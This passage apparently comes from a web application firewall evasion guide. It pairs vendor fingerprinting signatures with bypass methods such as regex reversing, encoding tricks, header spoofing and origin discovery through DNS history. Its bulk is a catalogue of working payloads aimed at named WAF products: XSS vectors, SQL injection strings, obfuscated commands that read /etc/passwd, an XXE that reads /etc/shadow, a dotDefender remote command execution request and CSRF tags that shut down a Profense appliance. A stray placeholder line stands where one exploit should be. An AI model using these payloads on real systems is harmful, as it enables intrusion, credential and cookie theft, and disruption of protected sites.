                    `WebKnight Application Firewall Alert` text warning.
                    `AQTRONIX WebKnight` text snippet.
                
                Blocked response code returned is `999 No Hacking`. :p
                Blocked response code returned is also `404 Hack Not Found`. :p |

| WebLand | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `Apache Protected By WebLand WAF` keyword. |

| WebRay | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `WebRay-WAF` keyword.
                Response headers may have `DrivedBy` field with value `RaySrv RayEng/{version}`. |

| WebSEAL | **Detectability: **Easy
Detection Methodology:

text

`Server` header contain `WebSEAL` keyword.
                Blocked response page contains:
                
                    `This is a WebSEAL error message template file` text.
                    `WebSEAL server received an invalid HTTP request` text snippet. |

| WebTotem | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains `The current request was blocked by WebTotem`. |

| West263CDN | **Detectability: **Easy
Detection Methodology:

text

Response headers contain `X-Cache` header field with `WT263CDN` value. |

| Wordfence | **Detectability: **Easy
Detection Methodology:

text

Response headers contain `WebKnight` keyword.
                Blocked response page contains:
                
                    `Generated by Wordfence` text snippet.
                    `A potentially unsafe operation has been detected in your request to this site` text warning.
                    `Your access to this site has been limited` text warning.
                    `This response was generated by Wordfence` text snippet. |

| WTS-WAF | **Detectability: **Easy
Detection Methodology:

text

Blocked response page title has `WTS-WAF` keyword.
                `Server` header contains `wts` as value. |

| XLabs Security WAF | **Detectability: **Easy
Detection Methodology:

text

Response headers contain `X-CDN` header field with `XLabs Security` value. |

| Xuanwudun WAF | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains reference to `http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/` site URL. |

| Yunaq Chuangyu | **Detectability: **Moderate
Detection Methodology:

text

Response page has reference to:
                    
                        `365cyd.com` or `365cyd.net` URL.
                        Reference to help page at `http://help.365cyd.com/cyd-error-help.html?code=403`. |

| Yundun | **Detectability: **Easy
Detection Methodology:

text

`Server` header contains `YUNDUN` as value.
                `X-Cache` header field contains `YUNDUN` as value.
                Response page contains `Blocked by YUNDUN Cloud WAF` text snippet.
                Blocked response page contains reference to `yundun.com/yd_http_error/` URL. |

| Yunsuo | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains image class reference to `yunsuologo`.
                Response headers contain the `yunsuo_session` field name. |

| YxLink | **Detectability: **Easy
Detection Methodology:

text

Response might have `yx_ci_session` cookie field.
                Response might have `yx_language` cookie field.
                `Server` header contains `Yxlink-WAF` field value. |

| ZenEdge | **Detectability: **Easy
Detection Methodology:

text

Blocked response page contains reference to `/__zenedge/assets/` directory.
                `Server` header contain `ZENEDGE` keyword.
                Blocked response headers may contain `X-Zen-Fury` header. |

| ZScaler | **Detectability: **Easy
Detection Methodology:

text

`Server` header has value set to `ZScaler`.
                Blocked response page contains:
                    
                        `Access Denied: Accenture Policy` text.
                        Reference to `https://policies.accenture.com` URL.
                        Reference to image at `https://login.zscloud.net/img_logo_new1.png`.
                        `Your organization has selected Zscaler to protect you from internet threats`.
                        `The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate`. |

Evasion Techniques

Lets look at some methods of bypassing and evading WAFs.

Fuzzing/Bruteforcing:

Method:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

Wordlists specifically for fuzzing

Technique:

Load up your wordlist into fuzzer and start the bruteforce.
Record/log all responses from the different payloads fuzzed.
Use random user-agents, ranging from Chrome Desktop to iPhone browser.
If blocking noticed, increase fuzz latency (eg. 2-4 secs).
Always use proxychains, since chances are real that your IP gets blocked.

Drawbacks:

This method often fails.
Many a times your IP will be blocked (temporarily/permanently).

Regex Reversing:

Method:

Most efficient method of bypassing WAFs.
Some WAFs rely upon matching the attack payloads with the signatures in their databases.
Payload matches the reg-ex the WAF triggers alarm.

Techniques:

Blacklisting Detection/Bypass

In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.

Case: SQL Injection

• Step 1:

Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)

Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

Keywords Filtered: and, or, union, where

Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'

• Step 3:

Keywords Filtered: and, or, union, where, limit

Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

Keywords Filtered: and, or, union, where, limit, group by

Blocked Attempt: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

Keywords Filtered: and, or, union, where, limit, group by, select

Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed Injection: 1 || substr(user,1,1) = 'a'

• Step 6:

Keywords Filtered: and, or, union, where, limit, group by, select, '

Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed Injection: 1 || user_id is not null
Bypassed Injection: 1 || substr(user,1,1) = 0x61
Bypassed Injection: 1 || substr(user,1,1) = unhex(61)

• Step 7:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex

Blocked Attempt: 1 || substr(user,1,1) = unhex(61)
Bypassed Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr

Blocked Attempt: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed Injection: 1 || lpad(user,7,1)

• Step 9:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space

Blocked Attempt: 1 || lpad(user,7,1)
Bypassed Injection: 1%0b||%0blpad(user,7,1)

Obfuscation:

Method:

Encoding payload to different encodings (a hit and trial approach).
You can encode whole payload, or some parts of it and test recursively.

Techniques:

1. Case Toggling

Some poorly developed WAFs filter selectively specific case WAFs.
We can combine upper and lower case characters for developing efficient payloads.

Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

Encode normal payloads with % encoding/URL encoding.
Can be done with online tools like this.
Burp includes a in-built encoder/decoder.

Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

ASCII characters in unicode encoding encoding provide great variants for bypassing.
You can encode entire/part of the payload for obtaining results.

Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>

Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)

Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode alternative)

TIP: Have a look at this and this reports on HackerOne. :)

Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

Often web apps encode special characters into HTML encoding and render them accordingly.
This leads us to basic bypass cases with HTML encoding (numeric/generic).

Standard: ">
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)

5. Mixed Encoding

Sometimes, WAF rules often tend to filter out a specific type of encoding.
This type of filters can be bypassed by mixed encoding payloads.
Tabs and newlines further add to obfuscation.

Obfuscated:

text

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

6. Using Comments

Comments obfuscate standard payload vectors.
Different payloads have different ways of obfuscation.

Blocked: <script>alert()</script>
Bypassed: `` - Works upto IE9 (Reference)

<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
<%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode Separators:

Every browser has their own specific charset of separators.
We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.
We can use these separators in places where a space is required.

Here is a compiled list of separators by @Masato Kinugawa:

IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
Safari: 0x2C, 0x3B
FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
Opera: 0x09, 0x20, 0x2C, 0x3B
Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

An exotic payload example:

text

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Using Atypical Equivalent Syntactic Structures

This method aims at finding a way of exploitation not considered by the WAF developers.
Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
This payload is accepted and executed by the server after going through the firewall.

Some common keywords overlooked by WAF developers:

JavaScript functions:
- window
- parent
- this
- self
Tag attributes:
- onwheel
- ontoggle
- onfilterchange
- onbeforescriptexecute
- ondragstart
- onauxclick
- onpointerover
- srcdoc
SQL Operators
- lpad
- field
- bit_count

Example Payloads:

Case: XSS

text

<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>

Case: SQLi

text

SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)

Many alternatives to the original JavaScript can be used, namely:

However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)

Abusing SSL/TLS Ciphers:

Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.

Technique:

Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
Find out the ciphers supported by the server (tools like SSLScan helps here).
If a specific cipher not supported by WAF but by the server, is found, voila!
Initiating a new connection to the server with that specific cipher should smuggle our payload in.

Tool: abuse-ssl-bypass-waf

text

python abuse-ssl-bypass-waf.py -thread 4 -target <target>

CLI tools like cURL can come very handy for PoCs:

text

curl --ciphers <cipher> -G <test site> -d <payload with parameter>

Abuse WAF limit on HTTP Responses

Method

Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.
By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.

Technique

Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
Once done, attach your payload to the request after filling the limit with garbage.

A similar technique was used to bypass Google Cloud Platform WAF.

Abusing DNS History:

Often old historical DNS records provide information about the location of the site behind the WAF.
The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.

TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.

Tool: bypass-firewalls-by-DNS-history

text

bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

Using Whitelist Strings:

Method:

Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
This shared secret, if leaked/known, can be used to bypass all protections within the WAF.

Technique:

Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
Usually some *-sync-request keywords or a shared token value is used as the secret.
Often adding specific headers may trigger a similar whitelist behaviour.

Now when making a request to the server, you can append it as a parameter:

text

http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True

A real life example how this works can be found at this blog.

Request Header Spoofing:

Method:

The target is to fool the WAF/server into believing it was from their internal network.
Adding some spoofed headers to represent the internal network, does the trick.

Technique:

With each request some set of headers are to be added simultaneously thus spoofing the origin.
The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.

Some common headers used:

text

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks Approach:

Method:

There are a lot of known bypasses of various web application firewalls (see section).
With the help of google dorks, we can easily find bypasses.

Techniques:

Before anything else, you should hone up skills from Google Dorks Cheat Sheet.

Normal search:
+<wafname> waf bypass
Searching for specific version exploits:
"<wafname> <version>" (bypass|exploit)
For specific type bypass exploits:
"<wafname>" + (bypass|exploit)
On Exploit DB:
site:exploit-db.com +<wafname> bypass
On 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit)
On Twitter:
site:twitter.com +<wafname> bypass
On Pastebin
site:pastebin.com +<wafname> bypass

Known Bypasses:

Airlock Ergon

SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult

text

%C0%80'+union+select+col1,col2,col3+from+table+--+

AWS WAF

SQLi Bypass by @enkaskal

text

"; select * from TARGET_TABLE --

XSS Bypass by @kmkz

text

<script>eval(atob(decodeURIComponent("payload")))//

XSS Bypass by [Daniele Linguaglossa]

text

<strong><button popovertarget=x>click me</button><test onbeforetoggle=alert(document.domain) popover id=x>aaa</aaa></strong>

Barracuda

Cross Site Scripting by @WAFNinja

text

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

HTML Injection by @Global-Evolution

text

GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

XSS Bypass by @0xInfection

text

<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere

Cerber (WordPress)

Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son

text

POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

author=1

Protected Admin Scripts Bypass by @ed0x21son

text

http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar

REST API Disable Bypass by @ed0x21son

text

http://host/index.php/wp-json/wp/v2/users/

Citrix NetScaler

SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security

text

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string>’ union select current_user, 2#</string>
    </soapenv:Body>
</soapenv:Envelope>

generic_api_call.pl XSS by @NNPoster

text

http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

Cloudflare

XSS Bypass by @@SalahHasoneh1

text

<svg onx=() onload=(confirm)(1)>

XSS Bypass by @c0d3g33k

text

<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>

XSS Bypasses by @Bohdan Korzhynskyi

text

<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>

XSS Bypass by @RakeshMane10

text

<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f

XSS Bypass by @ArbazKiraak

text

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`

XSS Bypass by @Ahmet Ümit

text

<--`<img/src=` onerror=confirm``> --!>

XSS Bypass by @Shiva Krishna

text

javascript:{alert`0`}

XSS Bypass by @Brute Logic

text

<base href=//knoxss.me?

XSS Bypass by @RenwaX23 (Chrome only)

text

<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x

RCE Payload Detection Bypass by @theMiddle

text

cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#

Cloudbric

XSS Bypass by @0xInfection

text

<a69/onclick=[1].findIndex(alert)>pew

Comodo

XSS Bypass by @0xInfection

text

<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme

SQLi by @WAFNinja

text

0 union/**/select 1,version(),@@datadir

DotDefender

Firewall disable by (v5.0) by @hyp3rlinx

text

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>

Remote Command Execution (v3.8-5) by @John Dos

text

POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15

Persistent XSS (v4.0) by @EnableSecurity

text

GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300

R-XSS Bypass by @WAFNinja

text

<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>

XSS Bypass by @0xInfection

text

<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
<a69/onclick=[1].findIndex(alert)>click

GET - XSS Bypass (v4.02) by @DavidK

text

/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />

POST - XSS Bypass (v4.02) by @DavidK

text

<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />

clave XSS (v4.02) by @DavidK

text

/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{

Fortinet Fortiweb

pcre_expression unvaidated XSS by @Benjamin Mejri

text

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

CSP Bypass by @Binar10

POST Type Query

text

POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET Type Query

text

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

XSS Bypass by @WAFNinja

text

<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>

F5 BIG-IP

XSS Bypass by @WAFNinja

text

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

XSS Bypass by @Aatif Khan

text

<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>

report_type XSS by @NNPoster

text

https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+

POST Based XXE by @Anonymous

text

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>

Directory Traversal by @Anastasios Monachos

Read Arbitrary File

text

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

text

/* Detailed source-code truncated for AI context efficiency. */

F5 FirePass

SQLi Bypass from @Anonymous

text

state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+

ModSecurity

XSS Bypass for CRS 3.2 by @brutelogic

text

<a href="jav%0Dascript&colon;alert(1)">

RCE Payloads Detection Bypass for PL3 by @theMiddle (v3.1)

text

;+$u+cat+/etc$u/passwd$u

RCE Payloads Detection Bypass for PL2 by @theMiddle (v3.1)

text

;+$u+cat+/etc$u/passwd+\#

RCE Payloads for PL1 and PL2 by @theMiddle (v3.0)

text

/???/??t+/???/??ss??

RCE Payloads for PL3 by @theMiddle (v3.0)

text

/?in/cat+/et?/passw?

SQLi Bypass by @Johannes Dahse (v2.2)

text

0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user

SQLi Bypass by @Yuri Goltsev (v2.2)

text

1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')

SQLi Bypass by @Ahmad Maulana (v2.2)

text

1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-

SQLi Bypass by @Travis Lee (v2.2)

text

amUserId=1 union select username,password,3,4 from users

SQLi Bypass by @Roberto Salgado (v2.2)

text

%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201

SQLi Bypass by @Georgi Geshev (v2.2)

text

1%0bAND(SELECT%0b1%20FROM%20mysql.x)

SQLi Bypass by @SQLMap Devs (v2.2)

text

%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29

SQLi Bypass by @HackPlayers (v2.2)

text

%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201

Imperva

XSS Bypass by @smaury92

html

<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>

XSS Bypass by @0xInfection

html

<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme

XSS Bypass by @0xInfection

html

<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click

XSS Bypass by @0xInfection

html

<a69/onclick=write&lpar;&rpar;>pew

XSS Bypass by @ugurercan

html

<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>

Imperva SecureSphere 13 - Remote Command Execution by @rsp3ar
XSS Bypass by @David Y

text

<svg onload\r\n=$.globalEval("al"+"ert()");>

XSS Bypass by @Emad Shanab

text

<svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz

XSS Bypass by @WAFNinja

text

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E

XSS Bypass by @i_bo0om

text

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>

XSS Bypass by @c0d3g33k

text

<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>

SQLi Bypass by @DRK1WI

text

15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'

SQLi by @Giuseppe D'Amore

text

stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1

Imperva SecureSphere <= v13 - Privilege Escalation by @0x09AL

Kona SiteDefender

XSS Bypass by @SaadAhmed

text

%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E

XSS Bypass by @h1_kenan

text

asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)

HTML Injection by @sp1d3rs

text

%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E

XSS Bypass by @Jonathan Bouman

text

<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"

XSS Bypass by @zseano

text

?"></script><base%20c%3D=href%3Dhttps:\mysite>

XSS Bypass by @0xInfection

text

<abc/onmouseenter=confirm%60%60>

XSS Bypass by @sp1d3rs

text

%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E

XSS Bypass by @Frans Rosén

text

<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>

XSS Bypass by @Ishaq Mohammed

text

<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>

Profense

GET Type CSRF Attack by @Michael Brooks (>= v.2.6.2)

Turn off Proface Machine

text

<img src=https://host:2000/ajax.html?action=shutdown>

Add a proxy

text

<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>

XSS Bypass by @Michael Brooks (>= v.2.6.2)

text

https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>

XSS Bypass by @EnableSecurity (>= v2.4)

text

%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E

QuickDefense

XSS Bypass by @WAFNinja

text

?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>

Sucuri

XSS Bypass (POST Only) by @brutelogic

text

<a href=javascript&colon;confirm(1)>

Smuggling RCE Payloads by @theMiddle

text

/???/??t+/???/??ss??

Obfuscating RCE Payloads by @theMiddle

text

;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd

XSS Bypass by @Luka

text

"><input/onauxclick="[1].map(prompt)">

XSS Bypass by @Brute Logic

text

data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>

StackPath

XSS Bypass by @0xInfection

text

<object/data=javascript:alert()>
<a/href="javascript%0A%0D:alert()>clickme

URLScan

Directory Traversal by @ZeQ3uL (<= v3.1) (Only on ASP.NET)

text

http://host.com/test.asp?file=.%./bla.txt

WebARX

Cross Site Scripting by @0xInfection

text

<a69/onauxclick=open&#40&#41>rightclickhere

Bypassing All Protections Using A Whitelist String by @Osanda Malith

XSS PoC

text

http://host.com/?vulnparam=<script>alert()</script>&ithemes-sync-request

LFI PoC

text

http://host.com/?vulnparam=../../../../../etc/passwd&ithemes-sync-request

SQLi PoC

text

http://host.com/?vulnparam=1%20unionselect%20@@version,2--&ithemes-sync-request

WebKnight

Cross Site Scripting by @WAFNinja

text

<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
